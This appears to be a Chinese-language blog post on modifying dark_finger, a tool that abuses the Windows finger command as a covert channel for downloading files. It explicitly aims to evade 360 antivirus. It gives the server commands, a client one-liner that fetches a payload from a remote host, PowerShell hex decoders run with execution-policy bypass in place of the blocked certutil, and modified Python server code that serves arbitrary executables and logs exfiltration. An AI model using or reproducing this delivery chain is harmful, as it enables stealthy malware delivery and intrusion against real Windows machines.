dark_finger二开
前言
finger
是windows
提供的一个命令行工具 用于显示用户信息 可以指定主机 例如以下命令
finger user1@users.microsoft.com
在计算机 users.microsoft.com 上显示user1
的信息
dark_finger是hyp3rlinx
师傅写的一个基于finger
的C2
(这是dark_finger帮助中写的 实际上算是poc)
截至2024年10月19日 finger
对于360依旧是免杀的
项目开源在 https://github.com/Arcueld/dark_finder
使用与分析
先说使用方法
dark_finger
提供了一个基于finger
的文件下载服务 服务端命令如下
python dark_finger.py -d -c finger.conf -p 79
-c
指定配置文件
-p
指定监听端口 端口需要在allowed_ports
之内
-d
删除配置文件生成的文件 需要同时指定-c [config]
其中配置文件的作用就是创建一个base64编码的文件 配置文件的内容就是文件名
这里我们尝试远程下载一个calc.exe
poc就提供了两个 补一个
calc = downloads_dir+"\\ca.txt" #Base64 encoded Calc
finger.conf
内容为
calc.exe
同目录下存在calc.exe
在启动服务端之后会在同目录创建一个Darkfinger_Downloads
目录 其中是配置文件中指定文件的base64编码字符串 命名格式为文件名前两个字符+.txt
服务端运行
finger ca10@192.168.45.1 | more +2 > calc.txt
运行后 base64编码的calc就下载到本地了 解码要用到certutil
会被拦截 这也就是我们要二开的点
二开
删除base64相关逻辑 换hex
首先是解决这个编码问题 直接转16进制 16进制可以用powershell解码 360不拦截
param(
[string]$inputFile,
[string]$outputFile
)
$hexString = Get-Content $inputFile -Raw
$hexString = $hexString -replace '\s+', ''
$byteList = New-Object System.Collections.Generic.List[byte]
for ($i = 0; $i -lt $hexString.Length; $i += 2) {
$byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
$byteList.Add($byte)
}
[System.IO.File]::WriteAllBytes($outputFile, $byteList.ToArray())
powershell -ExecutionPolicy Bypass -File decode.ps1 calc.txt calc.exe
修改参数解析逻辑
直接使用完整文件名而不是缩写 延时用:
分割
def finga_that_box(cmd, victim):
# 命令格式为 'filename:delay',例如 'calc:10'
cmd = cmd.rstrip()
# 如果命令中包含延迟的定义
if ':' in cmd:
filename, delay = cmd.split(':')
delay = int(delay) # 将延迟转为整数
else:
filename = cmd
delay = 1 # 如果没有指定延迟,使用默认值 1 秒
# 匹配文件名
if filename == "calc":
print("[+] Serving calc.exe")
sys.stdout.flush()
return calc, delay # 返回文件名和延迟时间
if filename[:1] == ".":
print(f"[+] Exfil from: {victim[0]} {filename[1:]}")
sys.stdout.flush()
return False, delay # 返回延迟,即使没有文件传输
自动匹配 不需要手动添加文件
# 获取下载目录中的所有可用文件
def get_available_files():
try:
return {f[:-4]: os.path.join(downloads_dir, f) for f in os.listdir(downloads_dir) if f.endswith('.exe')}
except Exception as e:
print(f"[!] Error reading available files: {str(e)}")
return {}
def finga_that_box(cmd, victim):
# 命令格式为 'filename:delay',例如 'calc:10'
cmd = cmd.rstrip()
available_files = get_available_files() # 获取所有可用文件
print(available_files)
# 如果命令中包含延迟的定义
if ':' in cmd:
filename, delay = cmd.split(':')
delay = int(delay) # 将延迟转为整数
else:
filename = cmd
delay = 1 # 如果没有指定延迟,使用默认值 1 秒
# 匹配文件名
if filename in available_files:
print(f"[+] Serving {filename}.exe")
sys.stdout.flush()
return available_files[filename], delay # 返回对应文件路径和延迟时间
if filename[:1] == ".":
print(f"[+] Exfil from: {victim[0]} {filename[1:]}")
sys.stdout.flush()
return False, delay # 返回延迟,即使没有文件传输
设置延迟的目的是确保文件完整传输 当所需传输文件较大时 延迟给大一点 10M 要30s差不多
效果
大文件就不要去more了 直接在解码的时候忽略前两行
param(
[string]$sourceFile,
[string]$destinationFile
)
$lines = Get-Content $sourceFile
$hexString = ($lines[2..$lines.Length] -join '' -replace '\s+', '')
$byteList = New-Object System.Collections.Generic.List[byte]
for ($i = 0; $i -lt $hexString.Length; $i += 2) {
if ($i + 1 -lt $hexString.Length) {
$byte = [Convert]::ToByte($hexString.Substring($i, 2), 16)
$byteList.Add($byte)
}
}
[System.IO.File]::WriteAllBytes($destinationFile, $byteList.ToArray())
完整代码
https://github.com/Arcueld/dark_finder
参考
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/finger
https://lolbas-project.github.io/lolbas/Binaries/Finger/